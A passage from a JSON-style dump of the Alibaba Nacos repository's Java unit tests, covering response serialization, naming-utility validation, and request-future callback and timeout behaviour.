assertTrue(json.contains(\"\\\"message\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"count\\\":10,\\\"serviceNames\\\":[\\\"a\\\"],\\\"success\\\":true}\";\n        ServiceListResponse response = mapper.readValue(json, ServiceListResponse.class);\n        assertEquals(10, response.getCount());\n        assertEquals(1, response.getServiceNames().size());\n        assertEquals(\"a\", response.getServiceNames().get(0));\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/SubscribeServiceResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SubscribeServiceResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerializeSuccessResponse() throws JsonProcessingException {\n        SubscribeServiceResponse response = new SubscribeServiceResponse(200, null, new ServiceInfo());\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"serviceInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"resultCode\\\":200\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n    }\n    \n    @Test\n    void testSerializeFailResponse() throws JsonProcessingException {\n        SubscribeServiceResponse response = new SubscribeServiceResponse(500, \"test\", null);\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"serviceInfo\\\":{\\\"cacheMillis\\\":1000,\\\"hosts\\\":[],\"\n                + \"\\\"lastRefTime\\\":0,\\\"checksum\\\":\\\"\\\",\\\"allIPs\\\":false,\\\"reachProtectionThreshold\\\":false,\"\n                + \"\\\"valid\\\":true},\\\"success\\\":true}\";\n        SubscribeServiceResponse response = mapper.readValue(json, SubscribeServiceResponse.class);\n        assertNotNull(response.getServiceInfo());\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/utils/NamingUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.PreservedMetadataKeys;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingUtilsTest {\n    \n    @Test\n    void testGetGroupedName() {\n        assertEquals(\"group@@serviceName\", NamingUtils.getGroupedName(\"serviceName\", \"group\"));\n    }\n    \n    @Test\n    void testGetGroupedNameWithoutGroup() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            NamingUtils.getGroupedName(\"serviceName\", \"\");\n        });\n    }\n    \n    @Test\n    void testGetGroupedNameWithoutServiceName() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            NamingUtils.getGroupedName(\"\", \"group\");\n        });\n    }\n    \n    @Test\n    void testGetServiceName() {\n        String validServiceName = \"group@@serviceName\";\n        assertEquals(\"serviceName\", NamingUtils.getServiceName(validServiceName));\n    }\n    \n    @Test\n    void testGetServiceNameWithoutGroup() {\n        String serviceName = \"serviceName\";\n        assertEquals(serviceName, NamingUtils.getServiceName(serviceName));\n    }\n    \n    @Test\n    void testGetServiceNameWithEmpty() {\n        assertEquals(StringUtils.EMPTY, NamingUtils.getServiceName(null));\n    }\n    \n    @Test\n    void testGetGroupName() {\n        String validServiceName = \"group@@serviceName\";\n        assertEquals(\"group\", NamingUtils.getGroupName(validServiceName));\n    }\n    \n    @Test\n    void testGetGroupNameWithoutGroup() {\n        String serviceName = \"serviceName\";\n        assertEquals(Constants.DEFAULT_GROUP, NamingUtils.getGroupName(serviceName));\n    }\n    \n    @Test\n    void testGetGroupNameWithEmpty() {\n        assertEquals(StringUtils.EMPTY, NamingUtils.getGroupName(null));\n    }\n    \n    @Test\n    void testIsServiceNameCompatibilityMode() {\n        String serviceName1 = \"group@@serviceName\";\n        assertTrue(NamingUtils.isServiceNameCompatibilityMode(serviceName1));\n        \n        String serviceName2 = \"serviceName\";\n        assertFalse(NamingUtils.isServiceNameCompatibilityMode(serviceName2));\n        \n        String serviceName3 = null;\n        assertFalse(NamingUtils.isServiceNameCompatibilityMode(serviceName3));\n    }\n    \n    @Test\n    void testCheckServiceNameFormat() {\n        String validServiceName = \"group@@serviceName\";\n        NamingUtils.checkServiceNameFormat(validServiceName);\n    }\n    \n    @Test\n    void testCheckServiceNameFormatWithoutGroupAndService() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String validServiceName = \"@@\";\n            NamingUtils.checkServiceNameFormat(validServiceName);\n        });\n    }\n    \n    @Test\n    void testCheckServiceNameFormatWithoutGroup() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String validServiceName = \"@@service\";\n            NamingUtils.checkServiceNameFormat(validServiceName);\n        });\n    }\n    \n    @Test\n    void testCheckServiceNameFormatWithoutService() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String validServiceName = \"group@@\";\n            NamingUtils.checkServiceNameFormat(validServiceName);\n        });\n    }\n    \n    @Test\n    void testGetGroupedNameOptional() {\n        String onlyGroupName = NamingUtils.getGroupedNameOptional(StringUtils.EMPTY, \"groupA\");\n        assertEquals(\"groupA@@\", onlyGroupName);\n        \n        String onlyServiceName = NamingUtils.getGroupedNameOptional(\"serviceA\", StringUtils.EMPTY);\n        assertEquals(\"@@serviceA\", onlyServiceName);\n        \n        String groupNameAndServiceName = NamingUtils.getGroupedNameOptional(\"serviceA\", \"groupA\");\n        assertEquals(\"groupA@@serviceA\", groupNameAndServiceName);\n    }\n    \n    @Test\n    void testGetServiceKey() {\n        // 测试正常情况\n        String serviceKey = NamingUtils.getServiceKey(\"namespace\", \"group\", \"serviceName\");\n        assertEquals(\"namespace@@group@@serviceName\", serviceKey);\n        \n        // 测试namespace为空的情况\n        String serviceKeyWithEmptyNamespace = NamingUtils.getServiceKey(\"\", \"group\", \"serviceName\");\n        assertEquals(\"public@@group@@serviceName\", serviceKeyWithEmptyNamespace);\n        \n        // 测试namespace为null的情况\n        String serviceKeyWithNullNamespace = NamingUtils.getServiceKey(null, \"group\", \"serviceName\");\n        assertEquals(\"public@@group@@serviceName\", serviceKeyWithNullNamespace);\n    }\n    \n    @Test\n    void testParseServiceKey() {\n        // 测试正常情况\n        String serviceKey = \"namespace@@group@@serviceName\";\n        String[] parts = NamingUtils.parseServiceKey(serviceKey);\n        assertEquals(3, parts.length);\n        assertEquals(\"namespace\", parts[0]);\n        assertEquals(\"group\", parts[1]);\n        assertEquals(\"serviceName\", parts[2]);\n        \n        // 测试只有两个部分\n        String serviceKeyWithTwoParts = \"namespace@@group\";\n        String[] twoParts = NamingUtils.parseServiceKey(serviceKeyWithTwoParts);\n        assertEquals(2, twoParts.length);\n        assertEquals(\"namespace\", twoParts[0]);\n        assertEquals(\"group\", twoParts[1]);\n        \n        // 测试只有一个部分\n        String serviceKeyWithOnePart = \"namespace\";\n        String[] onePart = NamingUtils.parseServiceKey(serviceKeyWithOnePart);\n        assertEquals(1, onePart.length);\n        assertEquals(\"namespace\", onePart[0]);\n        \n        // 测试空字符串\n        String[] emptyPart = NamingUtils.parseServiceKey(\"\");\n        assertEquals(1, emptyPart.length);\n        assertEquals(\"\", emptyPart[0]);\n    }\n    \n    @Test\n    void testCheckInstanceIsLegal() throws NacosException {\n        // check invalid clusterName\n        Instance instance = new Instance();\n        instance.setClusterName(\"cluster1,cluster2\");\n        try {\n            NamingUtils.checkInstanceIsLegal(instance);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof NacosException);\n            assertEquals(\n                    \"Instance 'clusterName' should be characters with only 0-9a-zA-Z-. (current: cluster1,cluster2)\",\n                    e.getMessage());\n        }\n        \n        // valid clusterName\n        instance.setClusterName(\"cluster1\");\n        NamingUtils.checkInstanceIsLegal(instance);\n        assertTrue(true);\n        \n        // check heartBeatTimeout, heartBeatInterval, ipDeleteTimeout\n        Map<String, String> meta = new HashMap<>();\n        meta.put(PreservedMetadataKeys.HEART_BEAT_TIMEOUT, \"1\");\n        meta.put(PreservedMetadataKeys.HEART_BEAT_INTERVAL, \"2\");\n        meta.put(PreservedMetadataKeys.IP_DELETE_TIMEOUT, \"1\");\n        instance.setMetadata(meta);\n        try {\n            NamingUtils.checkInstanceIsLegal(instance);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof NacosException);\n            assertEquals(\"Instance 'heart beat interval' must less than 'heart beat timeout' and 'ip delete timeout'.\",\n                    e.getMessage());\n        }\n        meta.put(PreservedMetadataKeys.HEART_BEAT_TIMEOUT, \"3\");\n        meta.put(PreservedMetadataKeys.HEART_BEAT_INTERVAL, \"2\");\n        meta.put(PreservedMetadataKeys.IP_DELETE_TIMEOUT, \"3\");\n        NamingUtils.checkInstanceIsLegal(instance);\n        assertTrue(true);\n    }\n    \n    @Test\n    void testBatchCheckInstanceIsLegal() throws NacosException {\n        // check invalid clusterName\n        Instance instance = new Instance();\n        instance.setClusterName(\"cluster1,cluster2\");\n        List<Instance> instanceList = new ArrayList<>();\n        instanceList.add(instance);\n        try {\n            NamingUtils.batchCheckInstanceIsLegal(instanceList);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof NacosException);\n            assertEquals(\n                    \"Instance 'clusterName' should be characters with only 0-9a-zA-Z-. (current: cluster1,cluster2)\",\n                    e.getMessage());\n        }\n        instanceList.remove(instance);\n        \n        // TODO valid clusterName\n        instance.setClusterName(\"cluster1\");\n        instanceList.add(instance);\n        NamingUtils.batchCheckInstanceIsLegal(instanceList);\n        assertTrue(true);\n        \n        instanceList.remove(instance);\n        \n        // check heartBeatTimeout, heartBeatInterval, ipDeleteTimeout\n        Map<String, String> meta = new HashMap<>();\n        meta.put(PreservedMetadataKeys.HEART_BEAT_TIMEOUT, \"1\");\n        meta.put(PreservedMetadataKeys.HEART_BEAT_INTERVAL, \"2\");\n        meta.put(PreservedMetadataKeys.IP_DELETE_TIMEOUT, \"1\");\n        instance.setMetadata(meta);\n        instanceList.add(instance);\n        try {\n            NamingUtils.batchCheckInstanceIsLegal(instanceList);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof NacosException);\n            assertEquals(\"Instance 'heart beat interval' must less than 'heart beat timeout' and 'ip delete timeout'.\",\n                    e.getMessage());\n        }\n        instanceList.remove(instance);\n        \n        meta.put(PreservedMetadataKeys.HEART_BEAT_TIMEOUT, \"3\");\n        meta.put(PreservedMetadataKeys.HEART_BEAT_INTERVAL, \"2\");\n        meta.put(PreservedMetadataKeys.IP_DELETE_TIMEOUT, \"3\");\n        instance.setMetadata(meta);\n        instanceList.add(instance);\n        NamingUtils.batchCheckInstanceIsLegal(instanceList);\n        assertTrue(true);\n    }\n    \n    @Test\n    void testCheckInstanceIsEphemeral() throws NacosException {\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(9089);\n        instance.setEphemeral(true);\n        NamingUtils.checkInstanceIsEphemeral(instance);\n        try {\n            instance = new Instance();\n            instance.setIp(\"127.0.0.1\");\n            instance.setPort(9089);\n            instance.setEphemeral(false);\n            NamingUtils.checkInstanceIsEphemeral(instance);\n        } catch (NacosException e) {\n            assertEquals(NacosException.INVALID_PARAM, e.getErrCode());\n        }\n    }\n    \n    @Test\n    void testCheckInstanceIsNull() throws NacosException {\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(9089);\n        NamingUtils.checkInstanceIsLegal(instance);\n        try {\n            NamingUtils.checkInstanceIsLegal(null);\n        } catch (NacosException e) {\n            assertEquals(NacosException.INVALID_PARAM, e.getErrCode());\n        }\n    }\n    \n    @Test\n    void testIsNumber() {\n        String str1 = \"abc\";\n        assertFalse(NamingUtils.isNumber(str1));\n        \n        String str2 = \"123456\";\n        assertTrue(NamingUtils.isNumber(str2));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/AbstractPushCallBackTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AbstractPushCallBackTest {\n    \n    boolean testValue;\n    \n    @Test\n    void testAbstractPushCallBack() {\n        AbstractPushCallBack callBack = new AbstractPushCallBack(2000) {\n            \n            @Override\n            public void onSuccess() {\n                testValue = true;\n            }\n            \n            @Override\n            public void onFail(Throwable e) {\n                testValue = false;\n            }\n        };\n        assertEquals(2000, callBack.getTimeout());\n        assertFalse(testValue);\n        callBack.onSuccess();\n        assertTrue(testValue);\n        callBack.onFail(new RuntimeException(\"test\"));\n        assertFalse(testValue);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/AbstractRequestCallBackTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.Executor;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AbstractRequestCallBackTest {\n    \n    boolean testValue;\n    \n    @Test\n    void testAbstractPushCallBack() {\n        AbstractRequestCallBack callBack = new AbstractRequestCallBack() {\n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n            \n            @Override\n            public void onResponse(Response response) {\n                testValue = true;\n            }\n            \n            @Override\n            public void onException(Throwable e) {\n                testValue = false;\n            }\n        };\n        assertEquals(3000L, callBack.getTimeout());\n        assertFalse(testValue);\n        callBack.onResponse(new ErrorResponse());\n        assertTrue(testValue);\n        callBack.onException(new RuntimeException(\"test\"));\n        assertFalse(testValue);\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/DefaultRequestFutureTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass DefaultRequestFutureTest {\n    \n    private static final String CONNECTION_ID = \"1233_1.1.1.1_3306\";\n    \n    private static final String REQUEST_ID = \"10000\";\n    \n    @Mock\n    private Response response;\n    \n    @Mock\n    private ExecutorService executor;\n    \n    private long timestamp;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        timestamp = System.currentTimeMillis();\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n    }\n    \n    @Test\n    void testSyncGetResponseSuccessWithoutTimeout() throws InterruptedException {\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setResponse(response);\n            } catch (Exception ignored) {\n            }\n        }).start();\n        Response actual = requestFuture.get();\n        assertEquals(response, actual);\n        assertEquals(CONNECTION_ID, requestFuture.getConnectionId());\n        assertEquals(REQUEST_ID, requestFuture.getRequestId());\n        assertTrue(requestFuture.isDone());\n        assertTrue(requestFuture.getTimeStamp() >= timestamp);\n    }\n    \n    @Test\n    void testSyncGetResponseFailureWithoutTimeout() throws InterruptedException {\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setFailResult(new RuntimeException(\"test\"));\n            } catch (Exception ignored) {\n            }\n        }).start();\n        Response actual = requestFuture.get();\n        assertNull(actual);\n        assertEquals(CONNECTION_ID, requestFuture.getConnectionId());\n        assertEquals(REQUEST_ID, requestFuture.getRequestId());\n        assertTrue(requestFuture.isDone());\n        assertTrue(requestFuture.getTimeStamp() >= timestamp);\n    }\n    \n    @Test\n    void testSyncGetResponseSuccessWithTimeout() throws InterruptedException, TimeoutException {\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setResponse(response);\n            } catch (Exception ignored) {\n            }\n        }).start();\n        Response actual = requestFuture.get(1000L);\n        assertEquals(response, actual);\n        assertEquals(CONNECTION_ID, requestFuture.getConnectionId());\n        assertEquals(REQUEST_ID, requestFuture.getRequestId());\n        assertTrue(requestFuture.isDone());\n        assertTrue(requestFuture.getTimeStamp() >= timestamp);\n    }\n    \n    @Test\n    void testSyncGetResponseSuccessWithInvalidTimeout() throws InterruptedException, TimeoutException {\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setResponse(response);\n            } catch (Exception ignored) {\n            }\n        }).start();\n        Response actual = requestFuture.get(-1L);\n        assertEquals(response, actual);\n        assertEquals(CONNECTION_ID, requestFuture.getConnectionId());\n        assertEquals(REQUEST_ID, requestFuture.getRequestId());\n        assertTrue(requestFuture.isDone());\n        assertTrue(requestFuture.getTimeStamp() >= timestamp);\n    }\n    \n    @Test\n    void testSyncGetResponseFailureWithTimeout() throws InterruptedException, TimeoutException {\n        assertThrows(TimeoutException.class, () -> {\n            DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID);\n            requestFuture.get(100L);\n        });\n    }\n    \n    @Test\n    void testSyncGetResponseSuccessByTriggerWithoutTimeout() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, null, trigger);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setResponse(response);\n            } catch (Exception ignored) {\n            }\n        }).start();\n        Response actual = requestFuture.get();\n        assertEquals(response, actual);\n        assertEquals(CONNECTION_ID, requestFuture.getConnectionId());\n        assertEquals(REQUEST_ID, requestFuture.getRequestId());\n        assertTrue(requestFuture.isDone());\n        assertTrue(requestFuture.getTimeStamp() >= timestamp);\n        assertFalse(trigger.isTimeout);\n    }\n    \n    @Test\n    void testSyncGetResponseFailureByTriggerWithoutTimeout() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, null, trigger);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setFailResult(new RuntimeException(\"test\"));\n            } catch (Exception ignored) {\n            }\n        }).start();\n        Response actual = requestFuture.get();\n        assertNull(actual);\n        assertEquals(CONNECTION_ID, requestFuture.getConnectionId());\n        assertEquals(REQUEST_ID, requestFuture.getRequestId());\n        assertTrue(requestFuture.isDone());\n        assertTrue(requestFuture.getTimeStamp() >= timestamp);\n        assertFalse(trigger.isTimeout);\n    }\n    \n    @Test\n    void testSyncGetResponseSuccessByTriggerWithTimeout() throws InterruptedException, TimeoutException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, null, trigger);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setResponse(response);\n            } catch (Exception ignored) {\n            }\n        }).start();\n        Response actual = requestFuture.get(1000L);\n        assertEquals(response, actual);\n        assertEquals(CONNECTION_ID, requestFuture.getConnectionId());\n        assertEquals(REQUEST_ID, requestFuture.getRequestId());\n        assertTrue(requestFuture.isDone());\n        assertTrue(requestFuture.getTimeStamp() >= timestamp);\n        assertFalse(trigger.isTimeout);\n        assertFalse(trigger.isCancel);\n    }\n    \n    @Test\n    void testSyncGetResponseFailureByTriggerWithTimeout() throws InterruptedException, TimeoutException {\n        assertThrows(TimeoutException.class, () -> {\n            MockFutureTrigger trigger = new MockFutureTrigger();\n            DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, null, trigger);\n            try {\n                requestFuture.get(100L);\n            } finally {\n                assertTrue(trigger.isTimeout);\n            }\n        });\n    }\n    \n    @Test\n    void testASyncGetResponseSuccessWithoutTimeout() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        MockRequestCallback callback = new MockRequestCallback(200L);\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, callback, trigger);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setResponse(response);\n            } catch (Exception ignored) {\n            }\n        }).start();\n        TimeUnit.MILLISECONDS.sleep(250);\n        assertEquals(response, callback.response);\n        assertNull(callback.exception);\n        assertFalse(trigger.isTimeout);\n        assertFalse(trigger.isTimeout);\n        assertEquals(callback, requestFuture.getRequestCallBack());\n    }\n    \n    @Test\n    void testASyncGetResponseSuccessWithoutTimeoutByExecutor() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        MockRequestCallback callback = new MockRequestCallback(executor, 200L);\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, callback, trigger);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setResponse(response);\n            } catch (Exception ignored) {\n            }\n        }).start();\n        TimeUnit.MILLISECONDS.sleep(250);\n        assertEquals(callback, requestFuture.getRequestCallBack());\n        verify(executor).execute(any(DefaultRequestFuture.CallBackHandler.class));\n    }\n    \n    @Test\n    void testASyncGetResponseFailureWithoutTimeout() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        MockRequestCallback callback = new MockRequestCallback(1000L);\n        DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, callback, trigger);\n        new Thread(() -> {\n            try {\n                TimeUnit.MILLISECONDS.sleep(100);\n                requestFuture.setFailResult(new RuntimeException(\"test\"));\n            } catch (Exception ignored) {\n            }\n        }).start();\n        TimeUnit.MILLISECONDS.sleep(250);\n        assertNull(callback.response);\n        assertTrue(callback.exception instanceof RuntimeException);\n        assertFalse(trigger.isTimeout);\n        assertEquals(callback, requestFuture.getRequestCallBack());\n    }\n    \n    @Test\n    void testASyncGetResponseFailureWithTimeout() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        MockRequestCallback callback = new MockRequestCallback(100L);\n        final DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, callback,\n                trigger);\n        TimeUnit.MILLISECONDS.sleep(500);\n        assertNull(callback.response);\n        assertTrue(callback.exception instanceof TimeoutException);\n        assertTrue(trigger.isTimeout);\n        assertEquals(callback, requestFuture.getRequestCallBack());\n    }\n    \n    @Test\n    void testSyncRequestFutureCancelFailedWithTimeout() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        final DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, null, trigger);\n        assertThrows(TimeoutException.class, () -> requestFuture.get(100L));\n        requestFuture.cancel(true);\n        assertTrue(trigger.isTimeout);\n        assertFalse(trigger.isCancel);\n    }\n    \n    @Test\n    void testSyncRequestFutureCancelFailed() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        final DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, null, trigger);\n        requestFuture.cancel(true);\n        assertFalse(trigger.isTimeout);\n        assertFalse(trigger.isCancel);\n    }\n    \n    @Test\n    void testASyncRequestFutureCancelFailedWithTrigger() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        MockRequestCallback callback = new MockRequestCallback(100L);\n        final DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, callback,\n                trigger);\n        TimeUnit.MILLISECONDS.sleep(500L);\n        requestFuture.cancel(true);\n        assertNull(callback.response);\n        assertTrue(callback.exception instanceof TimeoutException);\n        assertTrue(trigger.isTimeout);\n        assertFalse(trigger.isCancel);\n        assertEquals(callback, requestFuture.getRequestCallBack());\n    }\n    \n    @Test\n    void testASyncRequestFutureCancelSuccessWithTrigger() throws InterruptedException {\n        MockFutureTrigger trigger = new MockFutureTrigger();\n        MockRequestCallback callback = new MockRequestCallback(500L);\n        final DefaultRequestFuture requestFuture = new DefaultRequestFuture(CONNECTION_ID, REQUEST_ID, callback,\n                trigger);\n        TimeUnit.MILLISECONDS.sleep(100L);\n        requestFuture.cancel(true);\n        assertNull(callback.response);\n        assertNull(callback.exception);\n        assertFalse(trigger.isTimeout);\n        assertTrue(trigger.isCancel);\n        assertEquals(callback, requestFuture.getRequestCallBack());\n    